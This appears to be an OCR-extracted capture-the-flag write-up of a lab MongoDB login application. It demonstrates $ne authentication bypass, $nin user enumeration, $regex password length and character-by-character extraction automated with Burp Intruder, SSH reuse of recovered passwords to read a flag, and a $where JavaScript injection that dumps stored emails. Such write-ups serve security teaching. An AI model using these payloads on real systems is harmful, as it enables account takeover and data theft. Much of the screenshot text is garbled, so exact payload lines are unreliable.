Comprehensive NoSQL Injection Write-up
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1 Overview

This write-up documents the full exploitation chain of a vulnerable web application affected by
multiple NoSQL injection flaws. The target relies on MongoDB as its backend datastore and
exposes several unsafe query constructions that allow authentication bypass, user enumeration,
password extraction, lateral movement, and JavaScript-based NoSQL injection via the $where
operator.

Username
Enter Username
Password

Enter Password

Remember me

Figure 1: The web page

2 Authentication Mechanism Analysis

The application exposes a login form that submits user credentials via an HT'TP POST request.
An initial authentication attempt using invalid credentials is performed and intercepted using
Burp Suite.

POST /login.php HTTP/1.1
Content -Type: application/x-www-form-urlencoded

user=test&pass=test&remember=on




Request

Pretty Raw Hex Hackvertor & n =
1 POST flogin.php HTTP/1.1

2 Host: 10,82.170,82

3 Content-Length: 31

4 Cache-Control: max-age=0

5 Accept-Language: en-US,en;qg=0.9

& Origin: http://10.82.170.82

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s5.0 (¥11l: Linux xB6_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0

Safari/s37.36

10 Accept:
text/html, applications/xhtml+xml, application/xml;g=0.9,image/avif, image/webp,image/apng, */*;q=0.8, applicatio
n/signed-exchange;v=b3;g=0.7

11 Referer: http://10.82,170.82/

12 Accept-Encoding: gzip, deflate, br

15 Connection: keep;alive

14

15 [user'='test&pass:test&remember:on]

o m

O& <~ O Ohighlights
Figure 2: Intercepted authentication request

3 Authentication Bypass via $ne

The backend logic directly maps HT'TP parameters to a MongoDB query. By replacing scalar
values with MongoDB comparison operators, authentication logic can be bypassed.

user [$nel=test&pass[$ne]l=test

This forces the database to evaluate a condition where both the username and password are
not equal to the provided values, resulting in a match for an existing user document.

Pretty Raw Hex Hachvertor

POST /login.php HTTP/1.1

Host: 10.82.170.82

Content -Length: 31

Cache-Control: max-age=0

Accept-Language: en-US,enig=0.9

Origin: http://10.82,170.82

Content-Type:! application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

9 User-Agent: MozillasS.0 (¥11: Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/S37.36
10 Accept: text/html,application/xhtml+xml,application/xml:g=0,9,image/avif,image/webp,image/apng, */*:q=0.8,application/signed-exchange:v=h3;g=0.7
11 Referer: http://10.82.170.82/

12 Accept-Encoding: gzip, deflate, br

13 cConnection: keep-alive

14

lE-l user'[$ne]=test&pass[$ne]=test&remember=on]

IO T IS N

Figure 3: Modified request using $ne operator




Figure 4: Successful authentication as administrator

4 User Enumeration Using $nin

The previous technique always returns the first document matched by the database. To control
which user is returned, the $nin operator is introduced.

user [$nin] [J=admin&pass [$nel=test

This query excludes the administrator account, forcing the database to return another valid

user.

Pretty Raw Hex Hackvertor

POST /login.php HTTP/1.1

Host: 10.82.170.82

Content-Length: 31

Cache-Control: max-age=0

Accept-Language: en-US,en:g=0.9

Origin: http://10.82.170.82

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (¥11: Linux x85 64] AppleWebKit/537.36 (KHTHML, like Gecko) Chrome/141.0.0.8 Safari/537.36
L0 Accept: text/html,application/xhtml+xml, application/xnl;q=0.9, 1mage/avif,image/webp,image/apng,*/*;g=0.8, application/signed-exchange;v=b3:q=0.7
L1 Referer: http://10.82,170,82/

L2 Accept-Encoding: gzip, deflate, br

L3 Cookie: PHPSESSID=vw19103pSkgeuekgchbpasbagmaj

L4 Connection: keep-alive

[ N

L
Lq user[$nin] [ ]=admin&pass[sne]Ftest&rememberzon I

Figure 5: Authentication request using $nin operator

Figure 6: Authenticated as a non-admin user

By iteratively modifying the excluded usernames, valid application users can be enumerated.

5 Password Length Discovery via $regex

Once authenticated, the password field can be targeted using regular expression-based NoSQL
injection. The first step is to determine the length of the password.

pass[$regex]=".{7}$




Request Response
Pretty  Raw  Hex  Hackvertor ® N = pretty  Raw  Hex Hackvertor n o=
1 POST /login.php HTTP/L.1 T HTTP/L.1 302 Found

2 Host: 10.81.188.193 2 Date: Sun, 14 Dec 2025 15:27:01 GMT

3 Content-Length: 41 41 (Ubuntu)

4 Cache-Contral: nax-age=0

5 Accept-Language; en-US,en;a=0.9

© origin: http://10.51.188.193 Keep-Alive: timeout=s, max=100

7 Content-Type: application/x-www-forn-urlencoded Connection: Keep-Alive

Upgrade-Tnsecure - Requests
User-Agent: Mozilla/s.0 (¥I1: Linux x85_64) AppleWebKit/S37.35 (KHTHL, like Gecko) Chrome/143.0.0.0 B
safari/s37.36 10
Accapt :

text/htnl,application/xhtnl+xnl, application/xnl ;q=0.9, inage/avif, inage/vebp, inage/apng, */* ; 4=0.8, applicatio
n/signed-exchange; v=b3;=0,7

11 Referer: hitp:i//10.81.188,193/

12 Accept-Encoding: gzip, deflate, br

15 Gony ... ke e

5 Content-Type: text/htnl; charset=UTF-8

e
15 user=johnépass(§regex]=". {7 $arenenber=on I

Figure 7: Password length inference using regex

Here we got the Header location redirect us to /error, which means that the password isn’t of

lenght 7
Multiple attempts reveal that the password length is eight characters.

w= =

Request Response
Pretty Raw Hex Hackvertor « @ wn = Pretty Raw Hex Hackvertor 8w =
1 POST /login.php HTTP/1.1 1 HTTP/1.1 302 Found
2 Host: 10.81.188.153 2 Date: Sun, 14 Dec 2025 15:26:13 GHT
S Content-Length: 41 2 Server: Apache/2.4.41 (Ubuntu)
4 Cache-Control: nax-age=0 r feie: ; path=/
S Accept-Language: en-US,en;q=0.9 S Expires: Thu, 19 Nov 1981 08:52:00 GHMT
£ Origin: http://10.81.188.153 5 no-store, no-cache, must-revalidate
7 Content-Type: application/x-www-forn-urlencodad 7 Pragm
& Upgrade-Insecure-Requests 8
© User-Agent: Mozilla/5.0 (X11; Linux x85 64) AppleWebKit/537.36 (KHTML, like Gecko] Chrome/143.0.0.0 o Content-Length: 0

Safari/537.36 10 Keep-Alive: timeout=S, max=100
o A 11 Connection: Keep-Alive

text/htnl , application/xhtnl+xnl, application/xnl ;q=0.9, inage/avif, inage/webp, inage/apng, #/49=0.8, applicatio 12 Content-Type: text/html; charset=UTF-8
n/signed-exchange ; v=b3;q=0.7 13

Referer: http://10.81.188,193/ 12

Accept-Encoding: gzip, deflate, br

on  kespz]

e o -

user—johnipass[§regex =" {B1§&renenber=on |

Figure 8: Password length inference using regex

6 Password Extraction via Regex Bruteforce

Password extraction is performed character by character by anchoring the regular expression.

pass[$regex]="a.......$

This process is repeated for all possible characters until the correct one is identified for each
position.

- -
Request Response
Pretty Raw  Hex  Hackwertor QR B W = pey Raw Hex Hackvertor wo=
1 POST flogin.php HTTR/1.1 1 HTTR/1.1 302 Found
2 Host: 10.81.188.193 un. 14 Dec 2025 15:29:43 GHT
= Content-Length: 45 che/2.4.41 (Ubuntu)
4 Cache-Control: i

Accept -Languag Jen;
Origin: http://10.61.188.193 & Keep-Alive: timeout=5, max=100
7 Connection: Keep-Alive

Content-Type: application/x-wav-forn-urlencoded
Content-Type: text/htnl; charset=UTF-8

Upgrade-Insecure-Requests: 1
User-Agent Hozilla/s.0 (X11; Linux xB6_64) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/143.0.0.0
Safari/537,36
10 Accept :
text /html, application/xhtnl+xal, application/xul ;a-0.9,inage/avif, inage/webp, inage/apng, */*;=0.8, applicat io
n/sianed-exchange,v=b3;9-0.7
11 Referer: http://10.61.188.193/
12 Accept-Enceding: gzip, deflate, br

)
15 user=i ohnépassisregexi="a] §&renenber=on |

Figure 9: Character-by-character password extraction

The recovered password for the user john is:

10584312




Request Response
Pretty  Raw Hex  Hackvertor ® L Raw Hex Hackvertor no=
1 POST /login.php HTTR/L.1 1 HTTP/1.1 302 Found
2 Host: 10.81.188.193 2 Date: Sun, 14 Dec 2025 15:35:02 GMT
3 Content-Length: 45 = Server: Apache/2.4.41 (Ubuntu)
4 Cache-Control: max-age=0 4 Set-Cookie: uHusEssImmrlaazmnhvmahsvmamma path=/
S Accept-Language: en-US,en;q=0.9 S Expires: Thu, 19 Nev 1981 08:52:00
& Origin: http://10.81.188.193 & Cache-Control: no-store, no-cache, must revalidate
7 Content-Type: application/x-www-forn-urlencoded 7 Pragna: no-cache
8 Upgrade-Insecure-Requests: 8 Location: /sekr3tPl4ce.php
S User-Agent: MozillasS.0 (X11; Linux x865_64) ApplewebKit/537,56 (KHTML, like Gecko) Chrome/143.0.0.0 S Content-Length:

safari/s37.36 10 Keep-Alive: timeout=5, max=100
10 Accept 11 Connection: Keep-Alive

text/html, appl)(a(lun/xhtml~xnﬂ application/xnl;q=0.9,image/avif,image/webp, inage/apng, */*;0=0.8, applicatio |12 Content-Type: text/html; charset=UTF-8

n/signed-exchange;v=b3:g=0 13

14

11 Referer: http://10.61.188 153/
12 Accept-Encoding: gzip, deflate, br
13 Comnestien,, keep:alive

ohnépass| §regex] :‘1ﬂ55431$&remamher:un]

Figure 10: Recovered credentials for user john

7 Automation Using Burp Intruder

To optimize the extraction process, Burp Intruder is used to automate the regex-based brute
force attack.

® [ siperattack ~| ECEEIIER | Pviods HD x
Payiad posiion:
Torget [ hepi0.81.188.193 UpdateHostheadertomatchtaget | i (o -
Payoadcount: 36
postons  Adds | Clears || Awos Requestcount; 36
1 POST /Login.php HTTP/L1 Paylosd configueation ~
2 Host: 10.61.188.195
Content-Length: 3
4 Cache-Control: max-a
3| Recept-Langua 4.9 aspecfedcharacterset.
= Origan: hiip://io 81188 158
7 Content Type: application/s - form-urtencoded Characterset: | abedefghikmnoparstuwnyz0123456785
& Upgrade-Insecure-Requests
v stestiariative it i 85 60 MPLAGIKLL/597.35 (101 Like Gecko) Clrone/145.0,0,0 Satars/537. 56 Minengt: [1
) Accept: text/htal,appt ge /vebp, inage/apng, +/+;=0.8, appl ication/signed- exchange  veb;g=0.7
1 Referer: http://10.51.186,193/ Maxtength: |1
12 Accept-Encoding: gzip, deflate, br
15 connection: keep-alive — N
: Payiadprocessing
15 user=pedro&pass| $regex]=A5S. &remember=on
Add Enabled Rule
eat
Remove
w
Down
Payioadencading ~
for

safetransmission within HTTP requests.

@ URL-encode these characters: | N\=o2+8"01n #

O® <> £ thighlght | 1payioadposition | Lengihe6z0
]
Request Response
Pretty  Raw  Hex  Hackuertor W= | prety R Hex Hackvertor =
1 POST /login.php HITR/1.1 1 HTTR/1.1 302 Found
2 Host: 10.81.188.193 2 Date: Sun, 14 Dec 2025 15:58:37 GMT
S Content-Length: a3 S Server: Apache/2.4.41 (Ubuntu)
4 Cache-Control: max-age=0 ¢ Set-Conkie: PPSESSID-nanusTurahnftkockasbniza); pathe
S Accept-Language: en-US,en;q=0.9 S Expires: Thu, 13 Nov 1951 0
5 Origin: http://10.61.186.195 5 Corhe-Gontral : no-store. nocache. must-revalidate
7 Content-Type: application/x-www-forn-urlencoded 7
& Upgrade-Insecure-Requests: 8 on: /sckratPlace.php
S User-Agent: Mozilla/S.0 (X11; Linux x86_64) AppleiebKit/537,36 (KHTHL, like Gecko) Chrome/143.0.0.0 S Content-Length: 0

Keep-Alive: tineout=5, max=100

Safari/537.36
Keep-Alive

10 Accept
text /htnl,application/xhtnl+xnl, application/xnl; q=0.9, inage/avif, inage/webp, inage /apng. */%:q=0.8,applicatio |12 Content-Type: text/htnl;

Connection
charset=UTF-8

n/signed-exchange; u=b3; = 13
11 Referer: http:/710.81,188.193/ 14
12 Accept-Encoding: gzip, deflate, br
13 e
1

2 s
15 [iser=pedrospassi$regexl="coolpassizharenenber=on]

Figure 12: Automated password extraction results

The extracted password for the user pedro is:

coolpass123

8 SSH Access and Credential Reuse

The recovered credentials are reused to authenticate against the SSH service exposed by the

target.

ssh pedro©10.81.188.193




kalli;kall ~
@10.81.1858.193
ity of host '10.81.188.193 (10.81.188.193)" can't be established.
ey fingerprint is: SHA256:101SMC7hkcTiWL932mla3V2yl/aqSodciaWgaQ/TvSo
his key is not known by any other names.
re you sure you want to continue connecting (yes/no/[fingerprint])?
Jarnlng Permanently added '10.81.188.193"' (ED25519) to the list of
** WARNING: connection is not using a posf quantum key HrchangH algorithm.
** This session may be vulnerable to "store ecrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pg.html
pedro@l®.81.188.193's password:
jelcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)

* Documentation: https://help.ubuntu.com
andscape.canonical.com
* Supporf. b
Last login: Wed Jun 23 03:34:24 2021 from 192.168.100.250
5]

% 1s
flag.txt
:~% cat flag.txt

:ﬂw$.

flag{NOSql_n@1iF3!}

Figure 14: Post-authentication access and flag retrieval

9 Discovery of $where Injection

A Python application running on the target allows retrieval of email addresses based on a supplied

username.

kali® kali)-[~
% ssh syntax@l®.81.188.193
** WARNING: connection is not using a post-guantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
5yntar@lﬂ.81.188.193 5 password:

ql
Connection To lﬂ 81.188.193 closed.

Figure 15: The normal use

Injecting a single quote reveals a syntax error.



Lte-pack ; rsor.py"”, line 1281,

.S(5ite—packaggsfpymongofsynchronousfcursor.py , line 1257, in next
.2;;ite—packages!pymongofsynchronousfcursor.py", 1ine 1205, in _refresh
.8/site-packages/pymongo/synchronous/cursor.py”, line 1108, in _send_messa
run_operation(
1ib/python3.8/site-packages/pymongo/ csot.py", line 119, in csot wrapper
TELE;?S!site—packages!pymongofsynchronousfmongo_client.py“, line 1754, in _run_

return self._retryable_read(

Figure 16: Syntax error triggered by single quote injection

The error message reveals the following query construction:

mycol.find ({"$where": "this.username == ’" + username + "’"})

This confirms the presence of a JavaScript-based NoSQL injection.

10 Exploitation of $where Injection

The following payload is injected to force the condition to always evaluate to true:

SRR

The resulting condition returns all stored email addresses.

) 0.81.188.193
s** WARNING: connection is not using a post-guantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may d to be upgraded. See https://openssh.com/pg.html
193's password:
n denied, please try again.
10.81.188.193's password:
de the username to receiwve eir email:admin"||1]]|"’
dmin@nosgl. int

pcollins@nosqgl. int

$ ssh svnfar@lo 81.188.193
s** WARNING: connection is not using a post-quantum key exchange algorithm.
This session may be vulnerable to "store now, decrypt later" attacks.
ed to be upgraded. See https://openssh.com/pg.html
) 10. 81 188.193's password:
Permission denied, please try again.
18.81.188.193's password:
ide the username to receive eir email:admin"||1]]"

onnection to lU 81.188.193 closed.

Figure 18: Successful extraction of all email addresses




11 Conclusion

This assessment demonstrates the severe impact of improperly handled NoSQL queries. Multiple
vulnerabilities were chained together, leading from unauthenticated access to full data disclosure
and system compromise. The attack surface was significantly expanded due to the unsafe use of
MongoDB operators and JavaScript execution within database queries.



	Overview
	Authentication Mechanism Analysis
	Authentication Bypass via $ne
	User Enumeration Using $nin
	Password Length Discovery via $regex
	Password Extraction via Regex Bruteforce
	Automation Using Burp Intruder
	SSH Access and Credential Reuse
	Discovery of $where Injection
	Exploitation of $where Injection
	Conclusion

